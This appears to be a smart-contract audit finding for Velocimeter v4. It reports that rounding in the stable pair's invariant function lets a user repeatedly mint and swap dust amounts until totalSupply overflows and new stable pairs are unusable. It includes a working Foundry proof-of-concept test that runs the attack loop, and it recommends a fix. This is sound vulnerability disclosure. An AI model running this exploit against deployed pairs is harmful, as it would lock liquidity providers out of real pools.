Dizzy Fuzzy Nuthatch

High

# User can DoS new stable pairs by minting and swapping small amounts

## Summary 

Right after, a stable pool creation, a user can mint small amount to make `Pair::_k()` round down to 0, swap back leaving only small amounts in the reserve, and then repeat, until totalSupply is close/equal to `uint256().max` 

## Vulnereability Details

Currently, a stable pair is calculated using the x3y + y3x formula. After a swap, we compare the constant k against the new balances to ensure the swap is healthy.

```solidity
 function _k(uint x, uint y) internal view returns (uint) {
        if (stable) {
            uint _x = (x * 1e18) / decimals0;
            uint _y = (y * 1e18) / decimals1;
            uint _a = (_x * _y) / 1e18;
            uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);

            return (_a * _b) / 1e18; // x3y+y3x >= k
        } else {
            return x * y; // xy >= k
        }
    }
```

When calculating a = (x * y) / 1e18, rounding errors can make it equal to zero if x * y is less than 1e18. 
This can set the stable pool's invariant `_k()` to zero, allowing traders to empty the pool. Later, minting can cause totalSupply to grow very quickly because the reserves are so small.

```solidity
function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
        } else {
          //@review - If the reserves are dust amounts, we can grow out the totalSupply exponentially until it reaches uint256().max
            liquidity = Math.min(
                (_amount0 * _totalSupply) / _reserve0,
                (_amount1 * _totalSupply) / _reserve1
            );
        }
        require(liquidity > 0, "ILM"); // Pair: INSUFFICIENT_LIQUIDITY_MINTED
        _mint(to, liquidity);

        _update(_balance0, _balance1, _reserve0, _reserve1);
        emit Mint(msg.sender, _amount0, _amount1);
    }
```

## Proof of Concept

Paste this test inside of `OptionTokenV4.t.sol`.

```solidity
 
    function testDoSPair() public {
        address governor = voter.governor();
        vm.prank(governor, governor);
        Pair pair = Pair(factory.createPair(address(DAI), address(FRAX), true));

        for (uint i = 0; i < 10; i++) {
            DAI.transfer(address(pair), 10_000_000);
            FRAX.transfer(address(pair), 10_000_000);

            uint liquidity = pair.mint(address(this));

            {
                uint fraxAmount = FRAX.balanceOf(address(pair));
                uint daiAmount = DAI.balanceOf(address(pair));

                DAI.transfer(address(pair), 1);
                uint amount0;
                uint amount1;

                (amount0, amount1) = address(DAI) < address(FRAX)
                    ? (uint(0), fraxAmount - 1)
                    : (fraxAmount - 1, uint(0));

                pair.swap(amount0, amount1, address(this), new bytes(0));
                FRAX.transfer(address(pair), 1);

                (amount0, amount1) = address(DAI) < address(FRAX)
                    ? (daiAmount, uint(0))
                    : (amount1, daiAmount);

                pair.swap(amount0, amount1, address(this), new bytes(0));
            }
        }
        
        DAI.transfer(address(pair), 1 ether);
        FRAX.transfer(address(pair), 1 ether);

        vm.expectRevert();
        pair.mint(address(this));
    }
```

## Impact

Complete DoS of any new stable pair created by the factory.

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/tree/main/v4-contracts/contracts/Pair.sol#L258-L260
https://github.com/sherlock-audit/2024-06-velocimeter/tree/main/v4-contracts/contracts/Pair.sol#L403-L413

## Tool Used

Manual review

## Recommendation

Employ a variable `MIN_K` for stable pairs and check agains it after minting the first supply.
